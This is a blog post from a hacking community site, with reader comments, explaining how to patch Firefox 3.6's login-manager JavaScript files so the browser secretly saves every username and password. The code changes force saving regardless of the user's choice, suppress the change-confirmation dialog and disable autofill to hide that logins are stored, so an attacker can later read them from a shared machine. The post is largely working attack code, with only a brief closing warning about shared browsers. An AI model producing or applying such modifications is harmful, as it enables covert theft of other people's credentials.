Stealing Passwords with FireFox 3.6.X

-[ Introduction ]-

 

Most users trust their browser, some trust it with everything, while others like to keep their passwords safe in their heads.  Is there a way to leverage this trust and collect passwords from the not so trusting, after all if you want to surf the internet your going to have to trust something with your password.

 

-[ The Challenge ]-  Make FireFox 3.6.X auto-magically remember passwords, usernames and URLs.  A quick Google revealed that some researchers are making changes "Hack'ing" nsLoginManagerPrompter.js to remove the save password notification, but i found an issue with just Hacking up nsLoginManagerPrompter.js so i did what all hackers do! "Hack to Learn, don't learn to hack.."

 

-[ FireFox 3.6.X ]-

Ok so Google reveled FireFox uses some .js files to control the Prompter and a quick find command shows us a few more 

# find /usr/ -type f | grep Login | grep firefox

nsLoginManagerPrompter.js

nsLoginManager.js

nsLoginInfo.js

The great news is there are only 3 files,  even better we only need to hack up 2 out of the 3 to get this working FULLY!  a quick inspection of nsLoginInfo.js revealed that we can leave this file as is, leaving only two files and a few thousand lines of code to read.

 

-[ # sudo nano ./nsLoginManagerPrompter.js ]- 

The first hack goes like this, When NEW account details are entered the Prompter displays the dialogue, if the user wants to have the details remembered the button calls pwmgr.addLogin(aLogin); all other options result in the details not being saved.  if we take this call pwmgr.addLogin(aLogin); and add it after the var pwmgr = this.pwmgr; call, the details get saved no matter what the user selects, the best part about this method is the dialogue is displayed and the user get the choices they are used to seeing.

 

var pwmgr = this._pwmgr;

pwmgr.addLogin(aLogin);
        var buttons = [
            // "Remember" button
            {
                label:     rememberButtonText,
                accessKey: rememberButtonAccessKey,
                popup:     null,
                callback: function(aNotificationBar, aButton) {
                    pwmgr.addLogin(aLogin);
                }
            },
            // "Never for this site" button
            {
                label:     neverButtonText,
                accessKey: neverButtonAccessKey,
                popup:     null,
                callback: function(aNotificationBar, aButton) {
                    pwmgr.setLoginSavingEnabled(aLogin.hostname, false);
                }
            },
            // "Not now" button
            {
                label:     notNowButtonText,
                accessKey: notNowButtonAccessKey,
                popup:     null,
                callback:  function() { /* NOP */ }
            }
        ];

 

The second hack needs to remove the change confirmation dialogue, if not we reveal that the details are stored and that we want to change them, this is not good! so we are looking for a way to accept the changes no matter what, and never display the dialogue. we again find the code var pwmgr = this._pwmgr; and again look at the button code, we always want YES so the call to pwmgr.modifyLogin(aOldLogin, aNewLogin); is what we need but this time we don't want to display the dialogue at all, so using a code comment, we comment out the button code apart from the call that saves the changed password.

 

var pwmgr = this._pwmgr;
//        var buttons = [
            // "Yes" button
//            {
//                label:     changeButtonText,
//                accessKey: changeButtonAccessKey,
//                popup:     null,
//                callback:  function(aNotificationBar, aButton) {
                    pwmgr.modifyLogin(aOldLogin, aNewLogin);
//               }
//           },
            // "No" button
//            {
//                label:     dontChangeButtonText,
//                accessKey: dontChangeButtonAccessKey,
//                popup:     null,
//                callback:  function(aNotificationBar, aButton) {
                    // do nothing
//                }
//            }
//        ];

Now we are left with a Prompter that lies and steals passwords, no matter what choice the user makes.

-[ # sudo nano ./nsLoginManager.js ]-

The third and final hack is to make sure that once we have the details they are not used by FireFox, as this would indicate that the browser has them and that's not good, we want to store them for US not the user, so we just need to find the call that adds them to the page and comment it out.

 

_domEventListener : {
        _pwmgr : null,
        QueryInterface : XPCOMUtils.generateQI([Ci.nsIDOMEventListener,
                                                Ci.nsISupportsWeakReference]),
        handleEvent : function (event) {
            if (!event.isTrusted)
                return;
            this._pwmgr.log("domEventListener: got event " + event.type);
            switch (event.type) {
                case "DOMContentLoaded":
//                    this._pwmgr._fillDocument(event.target);
                    return;

 


Now we have hacked FireFox 3.6.X to store ALL and EVERY useful detail of the accounts used in the browser, we can just leave it in place for a while and wait for the accounts to increase, before going back to the

  • [Edit]-->[Preferences] menu within Firefox clicking the [Security] tab followed by the [Saved Passwords] button.

you are given a list of usernames and sites, all that's left are the passwords, just click

  • [Show Passwords]

to see the password strings revealed .

-[ Conclusion ]-

Using a shared browser is bad news, unless your the one doing the sharing, but by knowing you can and should click the [Remove] button you are better protected against this type of attack, and now maybe more inclined to check before you [Exit].

Unless your sure the system your using is safe then don't use it for anything you wouldn't want anyone else to to find, this was just some simple fun just to see if i could, but if deployed i would see no reason why accounts would not be compromised.

 

-[ The END ]-

Views: 606

Comment

You need to be a member of Dissecting The Hack to add comments!

Join Dissecting The Hack

Comment by fixnichols on August 3, 2011 at 2:18pm
makes me wonder about defense departments dabbling in the idea of iplist based interception and injection of downloaded content for infiltration and reconnaissance.  spooky.
Comment by Bennett Tomlinson on July 20, 2011 at 8:23am
Excellent article.  Thanks.
Comment by d3tm4r on July 18, 2011 at 10:14am
Awesome article! Very informative. But as you said, it's not a good idea to share your browser anyway. There are so many other ways to harvest credentials using a shared browser/machine. But this one is really neat! :)

Latest Activity

G3n3r@l N00b is now a member of Dissecting The Hack
Tuesday
Tony Lauro updated their profile
May 15
Profile IconTony Lauro, Gogs, Patrick Dean and 1 more joined Dissecting The Hack
May 15
d3tm4r commented on Siem van Boxtel's blog post Use of SE in past criminal activities related to Dutch Banks
"This is an interesting research that you are doing there. I guess it is safe to assume that SE historically is the most common attack vector for criminals and it still is today. But I don't know if or how many scientific studies exist to…"
May 15

© 2012   Created by Marcus J. Carey.   Powered by

Badges  |  Report an Issue  |  Terms of Service